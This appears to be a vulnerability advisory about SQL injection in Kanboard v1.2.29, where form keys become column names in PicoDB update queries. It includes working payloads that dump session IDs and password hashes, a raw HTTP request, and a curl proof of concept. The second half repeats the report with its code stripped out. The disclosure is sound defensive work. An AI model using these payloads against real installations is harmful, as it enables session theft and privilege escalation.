Summary
During a review of this project, I found multiple SQL Injections. It appears that in some insert and update operations, the code improperly uses the PicoDB library to update/insert new information.
Details
Inside the source, I spotted the following dangerous code pattern (the following piece of code from ProjectEditController):
$values = $this->request->getValues();
$values = $this->prepareValues($project, $values);
list($valid, $errors) = $this->projectValidator->validateModification($values);
if ($valid) {
if ($this->projectModel->update($values)) {
$this->flash->success(t('Project updated successfully.'));
return $this->response->redirect($this->helper->url->to('ProjectEditController', 'show', array('project_id' => $project['id'])), true);
} else {
$this->flash->failure(t('Unable to update this project.'));
}
}
Here the projectModel->update takes a dictionary of $key->$values, in which the $key is treated as column names in an UPDATE query. This makes possible two kinds of attacks:
- an attacker can update arbitrary columns in the model, bypassing all the checks. For example, it is possible to change the project token in this case (even without permission)
- Because PicoDB does not expect untrusted user input in the column name of a query, it is possible to inject some SQL code.
For example, take the following body payload to the path /?controller=ProjectEditController&action=update&project_id=2:
csrf_token=*csrftoken*&name=test&email=&description=&task_limit=0&owner_id=0&start_date=&end_date=&priority_default=0&priority_start=0&test"injection=0
From this request, PICODB will build the following query:
UPDATE "projects" SET "name"=?, "email"=?, "description"=?, "task_limit"=?, "owner_id"=?, "start_date"=?, "end_date"=?, "priority_default"=?, "priority_start"=?, "test"injection"=?, "per_swimlane_task_limits"=? WHERE "id" = ?
Here you can see that the "injection" token is injected after the "test" column name. An attacker, in this way, may be able to extract every piece of information they want from the database.
For example:
- A list of every session currently active in the database (Leading to a privilege escalation by leaking the admin session):
csrf_token=*csrftoken*&name=test&email=&description=&task_limit=0&owner_id=0&start_date=&end_date=&priority_default=0&priority_start=0&description"%3d(select/**/GROUP_concat(id)/**/from/**/sessions),name%3d'test'/**/,"owner_id=2
A list of every user password hash:
csrf_token=*csrftoken*&name=test&email=&description=&task_limit=0&owner_id=0&start_date=&end_date=&priority_default=0&priority_start=0&description"%3d(select/**/GROUP_concat(username,password)/**/from/**/users),name%3d'test'/**/,"owner_id=2
As said before, there are multiple injections in the code. Pretty much everywhere there is an user-controlled array supplied to a model->create or model->update.
Other part of the code that I tested and seem infected are:
- CustomFilterController (method save and update)
- CommentUpdate (update)
I tested this vulnerability against the default configuration of the latest version (v1.2.29). The database in use is SQLite.
PoC
In order to reproduce one of the SQL injection mentioned here you have to:
- Clone this repo and start the container.
- Register a new user, for example a user named test with password testtest
- Sign in as the user test
- Create a new personal project
- Take the session cookie and a valid csrf token.
- using a tool like burp suite, make the following request (changing the prject_id, cookies and csrf_token with valid values):
POST /?controller=ProjectEditController&action=update&project_id=*project_id* HTTP/1.1
Host: localhost
Content-Length: 281
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: zmSkin=classic; KB_SID=*sessionid*; KB_RM=*id*
Connection: close
csrf_token=*csrftoken*&name=test&email=&description=&task_limit=0&owner_id=0&start_date=&end_date=&priority_default=0&priority_start=0&description"%3d(select/**/GROUP_concat(id)/**/from/**/sessions),name%3d'test'/**/,"owner_id=2
or using CURL
curl -i -s -k -X $'POST' \
-H $'Host: localhost' -H $'Content-Length: 281' -H $'Cache-Control: max-age=0' -H $'sec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"104\"' -H $'sec-ch-ua-mobile: ?0' -H $'sec-ch-ua-platform: \"Linux\"' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: null' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-User: ?1' -H $'Sec-Fetch-Dest: document' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7' -H $'Connection: close' \
-b $'zmSkin=classic; KB_SID=*SESSION*; KB_RM=*SESSION*' \
--data-binary $'csrf_token=*CSRFTOKEN*&name=test&email=&description=&task_limit=0&owner_id=0&start_date=&end_date=&priority_default=0&priority_start=0&description\"%3d(select/**/GROUP_concat(id)/**/from/**/sessions),name%3d\'test\'/**/,\"owner_id=2' \
$'http://localhost/?controller=ProjectEditController&action=update&project_id=*project_id*'
- go to the edit project page. You should find every session token in the description textarea.
Impact
An authenticated user is able to perform a SQL Injection, leading to a privilege escalation or loss of confidentiality.
Summary
During a review of this project, I found multiple SQL Injections. It appears that in some insert and update operations, the code improperly uses the PicoDB library to update/insert new information.
Details
Inside the source, I spotted the following dangerous code pattern (the following piece of code from ProjectEditController):
Here the projectModel->update takes a dictionary of $key->$values, in which the $key is treated as column names in an UPDATE query. This makes possible two kinds of attacks:
For example, take the following body payload to the path
/?controller=ProjectEditController&action=update&project_id=2:From this request, PICODB will build the following query:
Here you can see that the "injection" token is injected after the "test" column name. An attacker, in this way, may be able to extract every piece of information they want from the database.
For example:
A list of every user password hash:
As said before, there are multiple injections in the code. Pretty much everywhere there is an user-controlled array supplied to a model->create or model->update.
Other part of the code that I tested and seem infected are:
I tested this vulnerability against the default configuration of the latest version (v1.2.29). The database in use is SQLite.
PoC
In order to reproduce one of the SQL injection mentioned here you have to:
or using CURL
Impact
An authenticated user is able to perform a SQL Injection, leading to a privilege escalation or loss of confidentiality.